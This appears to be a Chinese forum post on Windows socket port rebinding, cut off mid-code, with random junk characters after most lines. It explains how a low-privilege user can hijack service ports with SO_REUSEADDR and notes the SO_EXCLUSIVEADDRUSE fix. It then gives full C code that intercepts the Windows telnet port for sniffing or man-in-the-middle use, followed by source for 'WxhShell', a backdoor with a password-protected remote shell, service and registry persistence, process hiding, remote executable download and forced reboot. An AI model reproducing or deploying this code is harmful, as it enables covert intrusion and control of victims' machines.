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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: "s+4!,k  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 2xI|G 3U  
f9De!"*&  
  saddr.sin_family = AF_INET; l:85 _E  
/(N/DMl[  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); isQ(O  
'YL[s  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); FwCb$yE#M  
@YJI'Hf67  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 :D.0\.p  
z|l*5@p  
  这意味着什么?意味着可以进行如下的攻击: ~ Z\:Nx  
U ZM #O  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 j|eA*UE  
*r7v Dc  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 1\.$=N  
x$Dq0FX!%_  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 =CX1jrLZ  
^kez]>   
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  rd%%NnT"  
)#=J<OpG  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 5(1:^:LGK  
-3I3 X  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 $NXP)Lic)  
aB9!}3@  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 #+ I'V\ [  
.Eao|;  
  #include \CbJU  
  #include UtZ,q!sg  
  #include j)A#}4jd  
  #include    D&@]  
  DWORD WINAPI ClientThread(LPVOID lpParam);   \/A.j|by,>  
  int main() 4=zs&   
  { KpLmpK1  
  WORD wVersionRequested; U.%Kt,qB  
  DWORD ret; qNp1<QO0  
  WSADATA wsaData; xP;r3u s  
  BOOL val; O7K.\  
  SOCKADDR_IN saddr; {@Mr7*u  
  SOCKADDR_IN scaddr; o2 14V\  
  int err; wX$:NOO  
  SOCKET s; /ZLY@&M  
  SOCKET sc; xO~ ElzGm  
  int caddsize; jlEz]@ i  
  HANDLE mt; ()3\(d5e  
  DWORD tid;   'rQ"Dc1D  
  wVersionRequested = MAKEWORD( 2, 2 ); A'WR!*Yt  
  err = WSAStartup( wVersionRequested, &wsaData ); .g*j]!_]  
  if ( err != 0 ) { 7N.b-}$(  
  printf("error!WSAStartup failed!\n"); >DqF>w.1  
  return -1; :6^7l/p  
  } ?$r`T]>`2  
  saddr.sin_family = AF_INET; J=4>zQLW  
   PNU(;&2<  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 E-e(K8R  
U84W(X  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); P]E-Wp'p  
  saddr.sin_port = htons(23); j0jl$^  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) q'2vE;z Kb  
  { EE/mxN(<  
  printf("error!socket failed!\n"); 3a/n/_D  
  return -1; Y.tx$%  
  } 4w4B\Na>l  
  val = TRUE; l'@-?p(Vuw  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 VJh8`PVX  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) SC{m@  
  { 1J@Iekat  
  printf("error!setsockopt failed!\n"); vqf$("  
  return -1; tYS4"Nfb+  
  } U, 6iT  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ZzT=m*tQ&  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 s='+[*&&  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 DL]tg [w{  
pl[J!d.c  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) " \$^j#o  
  { }[*'  
  ret=GetLastError(); yU$ MB,1  
  printf("error!bind failed!\n"); vdQoJWuB  
  return -1; S}m_XR]  
  } V7ph^^sC}  
  listen(s,2); G=dzP}B'WA  
  while(1) gr=h!'m  
  { M[uWX=  
  caddsize = sizeof(scaddr); z\YIwrq3*  
  //接受连接请求 x3@-E  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); oFY!NMq}:  
  if(sc!=INVALID_SOCKET) ON?Y Df  
  { ;"3B,Yj  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); jYsAL=oh,*  
  if(mt==NULL) c/{FDN  
  { XQ}Zr/f6  
  printf("Thread Creat Failed!\n"); Fsx?(?tCMo  
  break; 4 1_gak;  
  } xQy,1f3s+  
  } tAX* CMW  
  CloseHandle(mt); ,Q`qnn&  
  } %+7]/_JO&  
  closesocket(s); @KG0QHyiU  
  WSACleanup(); s -i|P  
  return 0; xad`-vw  
  }   Onmmcem  
  DWORD WINAPI ClientThread(LPVOID lpParam) Bd>~F7VWs  
  { @Mk`Tl  
  SOCKET ss = (SOCKET)lpParam; >r.]a`  
  SOCKET sc; YJi%vQ*]  
  unsigned char buf[4096]; 8h )XULs2  
  SOCKADDR_IN saddr; 2*Z2uV^  
  long num; AeJ ;g  
  DWORD val; voWH.[n^_  
  DWORD ret; 49$P  
  //如果是隐藏端口应用的话,可以在此处加一些判断 <LX\s*M)  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   O5\r%&$xd  
  saddr.sin_family = AF_INET; _z5/&tm_H  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); q5'S<qY^  
  saddr.sin_port = htons(23); `-NK:;^  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) GW2\YU^{  
  { !Sq<_TO  
  printf("error!socket failed!\n"); P rt} 01$  
  return -1; Sb.8d]DW  
  } :t?B)  
  val = 100; }r}*=;Ea  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ZWs   
  { V35Vi6*p  
  ret = GetLastError(); |dRVSVN  
  return -1; 3"fDFR  
  } A_9WSXR  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) f~IJ4T2#N  
  { )7q$PcY  
  ret = GetLastError(); [B0 BHJ~  
  return -1; a6p0_-MF  
  }  0^;2  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) Kg@'mG  
  { f%Q)_F[0D4  
  printf("error!socket connect failed!\n"); +`y(S}Z  
  closesocket(sc); +9)Jtm oL  
  closesocket(ss); ]5!3|UYS  
  return -1; /-=fWtA  
  } lFBdiIw  
  while(1) A q i:h]x  
  { m 0HK1'  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 .hTqZvDa  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 Q=~"xB8  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 tjdPi a  
  num = recv(ss,buf,4096,0); A2 l?F  
  if(num>0) |Q?h"5i"(  
  send(sc,buf,num,0); 6Z\aJ  
  else if(num==0) 'o$j~Mr  
  break; Z:4/lx7Bq  
  num = recv(sc,buf,4096,0); ,GbmL8P7Y  
  if(num>0)  56.!L  
  send(ss,buf,num,0); 0.GFg${v`  
  else if(num==0) z2=bbm:  
  break; V>6klA}o  
  } $ {yc t  
  closesocket(ss); =bKDD <(  
  closesocket(sc); R|; BO:S1  
  return 0 ; 1#vy# '  
  } G5ATR<0m  
sqkWQ`Ur  
~uQ*u.wi  
========================================================== )'shpRB;1  
 Spm 0`  
下边附上一个代码,,WXhSHELL 6F\ 6,E  
V&mkS  
========================================================== I16FVdUun4  
;Iu _*U9)  
#include "stdafx.h" Met?G0[  
K.tNV{OL  
#include <stdio.h> q8 v iC|  
#include <string.h> 9#8vPjXW}.  
#include <windows.h> )>a~%~:  
#include <winsock2.h> RQ+,7Ir  
#include <winsvc.h> !V|{(>+<  
#include <urlmon.h> (m]l -Re  
["Zvwes#7  
#pragma comment (lib, "Ws2_32.lib") G|i0n   
#pragma comment (lib, "urlmon.lib") \S}/2]* 1  
zAgX{$/Fg  
#define MAX_USER   100 // 最大客户端连接数 Z0gtliJ@  
#define BUF_SOCK   200 // sock buffer Y;'<u\^M"  
#define KEY_BUFF   255 // 输入 buffer D 0Xl`0"'  
p1N}2]e  
#define REBOOT     0   // 重启 [6GYYu\  
#define SHUTDOWN   1   // 关机 >hunV'vu'  
+Z`=iia>  
#define DEF_PORT   5000 // 监听端口 y6(PG:L  
{!,K[QwcI  
#define REG_LEN     16   // 注册表键长度 6<&~ R 3dQ  
#define SVC_LEN     80   // NT服务名长度 KsDS!O  
U}92%W?  
// 从dll定义API hBgE%#`s  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); g 9,"u_  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); F^,:p.ihm<  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); $]7f1U_e  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Mj0 ,Y#=76  
ZmK=8iN9J  
// wxhshell配置信息 tE*BZXBlm  
struct WSCFG { ||+~8z#+,  
  int ws_port;         // 监听端口 2mLZ4 r>WE  
  char ws_passstr[REG_LEN]; // 口令 @K;b7@4y  
  int ws_autoins;       // 安装标记, 1=yes 0=no `}X3f#eO&  
  char ws_regname[REG_LEN]; // 注册表键名 5F kdGF  
  char ws_svcname[REG_LEN]; // 服务名 F5)`FM^R  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 x&B&lFmo 8  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 }#z1>y!#  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ?v^NimcZ  
int ws_downexe;       // 下载执行标记, 1=yes 0=no M/S~"iD  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" <q63?Ms'  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 \gA!)q.;  
~^wSwd[  
}; :s aP :&  
]b- 2:M  
// default Wxhshell configuration )O'LE&kQ|  
struct WSCFG wscfg={DEF_PORT, {f06Ki  
    "xuhuanlingzhe", Gxr\a2Z&r%  
    1, I0XJ& P%  
    "Wxhshell", ;m7V]h? R  
    "Wxhshell", >$ q   
            "WxhShell Service", :a wt7lqv  
    "Wrsky Windows CmdShell Service", 4v[y^P  
    "Please Input Your Password: ", _i_='dsyW/  
  1, C qd\n#d/~  
  "http://www.wrsky.com/wxhshell.exe", 2 6#p,P  
  "Wxhshell.exe" y3~=8!Tj?Q  
    }; b6k`R4S3  
b{0a/&&1O  
// 消息定义模块 ybaY+![*  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; G`!x+FB  
char *msg_ws_prompt="\n\r? for help\n\r#>"; O|Uz)Y94  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; c5]Xqq,  
char *msg_ws_ext="\n\rExit."; ~${~To8$CW  
char *msg_ws_end="\n\rQuit."; OG$n C  
char *msg_ws_boot="\n\rReboot...";  "'4  
char *msg_ws_poff="\n\rShutdown..."; j6%W+;{/pj  
char *msg_ws_down="\n\rSave to "; Q-x>yau"  
#XQ/y}(  
char *msg_ws_err="\n\rErr!"; AVT % AS  
char *msg_ws_ok="\n\rOK!"; ^'QO!{7f  
U]hqRL  
char ExeFile[MAX_PATH]; [@@{z9c  
int nUser = 0; U4XW Kwq  
HANDLE handles[MAX_USER]; EP:`l  
int OsIsNt; Po?MTA  
N+&uR!:.C  
SERVICE_STATUS       serviceStatus; n;Bb/Z!~  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; tN#C.M7.'7  
C?qRZB+W#  
// 函数声明 1UP {j`-K|  
int Install(void); 6_mi9_w  
int Uninstall(void); h<9vm[.  
int DownloadFile(char *sURL, SOCKET wsh); 7FH(C`uKi  
int Boot(int flag); _k:8ib2TQ  
void HideProc(void); !}Xoqamm  
int GetOsVer(void); Snr(<u  
int Wxhshell(SOCKET wsl); l";Yw]:^  
void TalkWithClient(void *cs); KL \>-  
int CmdShell(SOCKET sock); )>@S8v,(  
int StartFromService(void); 9'MGv*Ho  
int StartWxhshell(LPSTR lpCmdLine); WI\a  
$J1`.Q>)4  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 1PY]Q{r  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 21TR_0g&<  
JrcbJt  
// 数据结构和表定义 ebA95v`Vms  
SERVICE_TABLE_ENTRY DispatchTable[] =  IuY9Q8  
{ >0HH#JW  
{wscfg.ws_svcname, NTServiceMain}, h$5[04.Q  
{NULL, NULL} n/ KO{:  
}; HV%/baX]  
,I"T9k-^  
// 自我安装 l'I:0a 4T  
int Install(void) ]bds~OY5 U  
{ <7P[)X_  
  char svExeFile[MAX_PATH]; _X#Rv2a  
  HKEY key; Q`F1t  
  strcpy(svExeFile,ExeFile); WW:G( \`  
DS?.'"n[u  
// 如果是win9x系统,修改注册表设为自启动 3(e_2v  
if(!OsIsNt) { _?-oPb  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ZR1U&<0c@  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); *2 Pr1U  
  RegCloseKey(key); U:8[%a  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { gqS9{K(f  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); _(-jk4 L  
  RegCloseKey(key); ]g-%7g|  
  return 0; tp`1S+'~j  
    } ?/YABY}L  
  } \%<M[r=  
} vRe{B7}p;  
else { |aDBp  
3(c-o0M  
// 如果是NT以上系统,安装为系统服务 /\%<VBx ?q  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); W6<oy  
if (schSCManager!=0) Et3I(X3  
{ d-b04Q7DQ  
  SC_HANDLE schService = CreateService l 5-[a  
  ( t"$~o:U&)  
  schSCManager, gGM fy]]R  
  wscfg.ws_svcname, 1Ms]\<^j  
  wscfg.ws_svcdisp, IV,4BQ$  
  SERVICE_ALL_ACCESS, lp}S'^ y  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , .D W>c}1  
  SERVICE_AUTO_START, N|DfE{,  
  SERVICE_ERROR_NORMAL, 529b. |  
  svExeFile, %jHm9{|X  
  NULL, _)45G"M  
  NULL, z>N[veX%  
  NULL, DMUirA;  
  NULL, +Kk1[fh-  
  NULL '?C6P5fm  
  ); yX!u&  
  if (schService!=0) I/7!5Z*  
  { brA#p>4]Wf  
  CloseServiceHandle(schService); F'XQoZ* 1  
  CloseServiceHandle(schSCManager); M">v4f&K1!  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); rxyv+@~Nc  
  strcat(svExeFile,wscfg.ws_svcname); k ]NZ%.  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 8R*;8y_  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); AA5G` LiT  
  RegCloseKey(key); Um+_ S@h  
  return 0; ko@ej^  
    } L"ho|v9:  
  } MtJ-pa~n  
  CloseServiceHandle(schSCManager); :{a< ~n`  
} pyhXET '  
} >W>rhxU  
}r,M (Zr  
return 1; h:fiUCw  
} [e><^R*u  
aMI;; iL^  
// 自我卸载 SWr TM  
int Uninstall(void) ,1ev2T  
{ PIH\*2\/  
  HKEY key; 4o#]hB';ni  
WX4sTxJK  
if(!OsIsNt) { dBI-y6R  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ndD>Oc}"3  
  RegDeleteValue(key,wscfg.ws_regname);  u 8o!  
  RegCloseKey(key); 5az%yS  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { )|*Qs${tF  
  RegDeleteValue(key,wscfg.ws_regname); `%Fp'`ZM$8  
  RegCloseKey(key); {($bz T7c  
  return 0; Ovt]3`U9J  
  } {\5(aQ)Vi5  
} StJb-K/_cL  
} XH%pV  
else { I<2`wL=  
xVPSL#>  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); B?%u< F  
if (schSCManager!=0) k^}[+IFJ  
{ =G}a%)?As\  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); &6\&McmkX  
  if (schService!=0) ]\yB,  
  { VV Q~;{L  
  if(DeleteService(schService)!=0) { w"0$cL3  
  CloseServiceHandle(schService); bkJ bnW=  
  CloseServiceHandle(schSCManager); dSwfea_  
  return 0; <4TI;yy6?  
  } `p\%ha!,w  
  CloseServiceHandle(schService); g/C 7wc  
  } <qR$ `mLN  
  CloseServiceHandle(schSCManager); b=Nsz$[  
} 4PVg?  
} x[t?hl=:  
#)S}z+I  
return 1; /6rjGc  
} XI`_PQco  
Z kw-a  
// 从指定url下载文件 #:" ]-u^  
int DownloadFile(char *sURL, SOCKET wsh) @ fMlbJq  
{ d*+}_EV)Y3  
  HRESULT hr; {b-C,J  
char seps[]= "/"; 6Y[&1c8  
char *token; s>;"bzzq  
char *file; oRd{?I&NY  
char myURL[MAX_PATH]; <vl(a*4a  
char myFILE[MAX_PATH]; @Xoh@:j\  
~jw:4sG  
strcpy(myURL,sURL); No\#N/1@P  
  token=strtok(myURL,seps); (&m1*  
  while(token!=NULL) 5tv*uz|fv  
  { GYw/KT~$  
    file=token; u|23M,  
  token=strtok(NULL,seps); 8!v|`Ky  
  } `x=kb;  
tgBA(2/Co  
GetCurrentDirectory(MAX_PATH,myFILE); n^QDMyC;I  
strcat(myFILE, "\\"); m@nGXl'!  
strcat(myFILE, file); fyUW;dj  
  send(wsh,myFILE,strlen(myFILE),0); qF3S\ C  
send(wsh,"...",3,0); gS(JgN  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); f]1 $`  
  if(hr==S_OK) cV:Q(|QC  
return 0; +PYR  
else QqL?? p-S>  
return 1; {$N\@q@v~  
<=uO*s>%  
} ruqE]Hx9(  
JK)|a@BtOT  
// 系统电源模块 j 1'H|4  
int Boot(int flag) NHZMH!=4:n  
{ crd|r."  
  HANDLE hToken; yYOV:3!"  
  TOKEN_PRIVILEGES tkp; H?opG<R=ek  
3znhpHO)  
  if(OsIsNt) { &[\zs&[@y  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); _6FDuCVD-  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 9^S rOW6~  
    tkp.PrivilegeCount = 1; pnz@;+f  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; #euOq  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); M-Nn \h$,  
if(flag==REBOOT) { m";8 nm  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) /XRgsF  
  return 0; }J5iY0  
} p38s&\-kEN  
else { *=z.H  *  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) pfim*\'  
  return 0; #tPy0Q H  
} 17Q* <iCs  
  } w*SFQ_6YE  
  else { bv[*jr;45  
if(flag==REBOOT) { I |D]NY^  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) :Z ]E:f0P  
  return 0; 1?+)T%"  
} mR{%f?B  
else { '9wD+'c=A  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) I@a7!ugU65  
  return 0; .>zkS*oX4z  
} `~t$k7wm=  
} I(WND/&  
`|JQ)!Agx  
return 1; ~w%Z Bp  
} .uagD[${  
**YNR:#Y  
// win9x进程隐藏模块 Ah2XwFg?  
void HideProc(void) o:Z*F0qm  
{ M/sqOhg  
 WU,72g=  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); qXW2a'~  
  if ( hKernel != NULL ) 2|w.A!  
  { {K0T%.G  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); uJp}9B60_  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); -+I! (?  
    FreeLibrary(hKernel); <F.Ol/'h  
  } m~NWY$oI9[  
Xhkw<XbV  
return; <u($!ATb  
} 9'8oOBqm3%  
t_VHw'~"  
// 获取操作系统版本 :* /``  
int GetOsVer(void) C1rCKKh  
{ :~)Q]G1Nj  
  OSVERSIONINFO winfo; TuCOoz@d  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); w)8@Tu:Q  
  GetVersionEx(&winfo); i+cGw  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) _&![s]  
  return 1; +`Bn]e8O  
  else >%3c1  
  return 0; ng<`2XgU  
} +m7 x>ie)  
/+1Fa):  
// 客户端句柄模块 o5$K^2^g  
int Wxhshell(SOCKET wsl) t@JPnA7~  
{ X9gC2iSs]  
  SOCKET wsh; XP;&iZJ  
  struct sockaddr_in client; eB@i)w?@o  
  DWORD myID; J+|ohA  
@>:07]Dxo  
  while(nUser<MAX_USER) ry]7$MQyV  
{ )?bb]hZg?O  
  int nSize=sizeof(client); M>J ADt_]  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); d$,i?d,  
  if(wsh==INVALID_SOCKET) return 1; .}<B*e=y  
jr l6):x  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); +e:ZN tr9  
if(handles[nUser]==0) O]g+z$2o  
  closesocket(wsh); MHYf8HN  
else $B?7u@>,  
  nUser++; -d3y!| \>a  
  } XfrnM^oty  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); U ^9oc&  
*vO'Z &  
  return 0; e,*[5xQ  
} bC{8yV=)  
w1_Ux<RF  
// 关闭 socket WLl9>v^1  
void CloseIt(SOCKET wsh) Pvw%,=41O  
{ w$ {  
closesocket(wsh); cj#q7  
nUser--; %$x FnGb  
ExitThread(0); 6 {Z\cwP)c  
} x+e _pb   
R4(8]oUW  
// 客户端请求句柄 P[K=']c  
void TalkWithClient(void *cs) 5Z,lWp2A  
{ OJ 5 !+#>  
&zcj U+n  
  SOCKET wsh=(SOCKET)cs; uP]o39b;V  
  char pwd[SVC_LEN]; A%2}?Ds  
  char cmd[KEY_BUFF]; LeyDs>! 0  
char chr[1]; \Agg6tY r  
int i,j; <;e#"(7  
}2,#[m M  
  while (nUser < MAX_USER) { CM1a<bV<  
[1^wy#  
if(wscfg.ws_passstr) { odf^W  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); DZ.trtK  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); [Mc5N  
  //ZeroMemory(pwd,KEY_BUFF); PZJ 4: h  
      i=0; S\;.nAR  
  while(i<SVC_LEN) { ^(*O$N*#  
Z;\"pP:  
  // 设置超时 :[f`HY&  
  fd_set FdRead; by[i"!RCu  
  struct timeval TimeOut; ](:FW '-  
  FD_ZERO(&FdRead); :&)/vq  
  FD_SET(wsh,&FdRead); B!ibE<7,  
  TimeOut.tv_sec=8;  :$c:3~  
  TimeOut.tv_usec=0; _i@eOqoC  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 8 {]Gh 0+  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ;;hyjFGq%  
89#0vG7m  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); rE `}?d  
  pwd=chr[0]; _I-VWDCk  
  if(chr[0]==0xd || chr[0]==0xa) { WAXts]=  
  pwd=0; 9XqAjez\  
  break; ##FNq#F  
  } `{lAhZ5  
  i++; *3`oU\r  
    } RrdtU7i3  
xf"5<PTW</  
  // 如果是非法用户,关闭 socket F*JvpI[7n  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); )1nCw  
} 2, "q_d'V  
uV}WSoq[  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); @U3foL2\  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Iei7!KLW  
Sja{$zL+W  
while(1) { tK|9qs<%  
yC 7Vb P  
  ZeroMemory(cmd,KEY_BUFF); 3 E!<p  
]ZKt1@4AY  
      // 自动支持客户端 telnet标准   g2{H^YUN$_  
  j=0; (21 W6  
  while(j<KEY_BUFF) { EhIV(q9x  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Yl&tkSw46  
  cmd[j]=chr[0]; P A6KX5  
  if(chr[0]==0xa || chr[0]==0xd) { '`]n_$f'  
  cmd[j]=0; @9uYmkcV  
  break; RHx+HBZ  
  } !<=%;+  
  j++; ?#*  
    } D,dHP-v  
+-aU+7tu  
  // 下载文件 Dpdn%8+Z  
  if(strstr(cmd,"http://")) { <cDKGd  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); C](z#c~c  
  if(DownloadFile(cmd,wsh)) LGo2^Xx  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6i]Nr@1C  
  else Z[k#AgC)  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [EmOA.6  
  } "s>fV9YyZ  
  else { 2fzKdkJhe  
%R5Com  
    switch(cmd[0]) { fys5-1@-p  
  %[Zqr;~l  
  // 帮助 ^)OZ`u8  
  case '?': { r}oURy,5  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); WO.0K5nfk  
    break; uS,p|}Q&  
  } rmPne8D=c(  
  // 安装 %Ui{=920  
  case 'i': { A \MfF  
    if(Install()) -7I1Lh#M  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); s-C!uq  
    else llHc=&y#  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); kRN|TDx(  
    break; NV} RRs  
    } W&+y(Z-t  
  // 卸载 t{R5 EU  
  case 'r': { "[jhaUAK  
    if(Uninstall()) cW)Oi^q%o2  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ptV4s=G2  
    else U@.u-)oX  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); zBk_-'z  
    break; Hva2j<h  
    } y$IaXr5L  
  // 显示 wxhshell 所在路径 cT-K@dg  
  case 'p': { M`0(!Q}  
    char svExeFile[MAX_PATH]; 7fTxGm  
    strcpy(svExeFile,"\n\r"); -|m$YrzG  
      strcat(svExeFile,ExeFile); owE<7TGPI?  
        send(wsh,svExeFile,strlen(svExeFile),0); t|;%DA)fjw  
    break; ?^LG hdR  
    } b/}'Vf[  
  // 重启 $brKl8P  
  case 'b': { \s=QiPK  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 7{n\y l?  
    if(Boot(REBOOT)) )fNGB]%  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); L)q`D2|'  
    else { W|;nJs:e  
    closesocket(wsh); jEUx q%BH  
    ExitThread(0); l <:`~\#  
    } saatU;V  
    break; ^~^mR#<P$  
    } Q"A_bdg5  
  // 关机 +Dv7:x7  
  case 'd': { [ L  
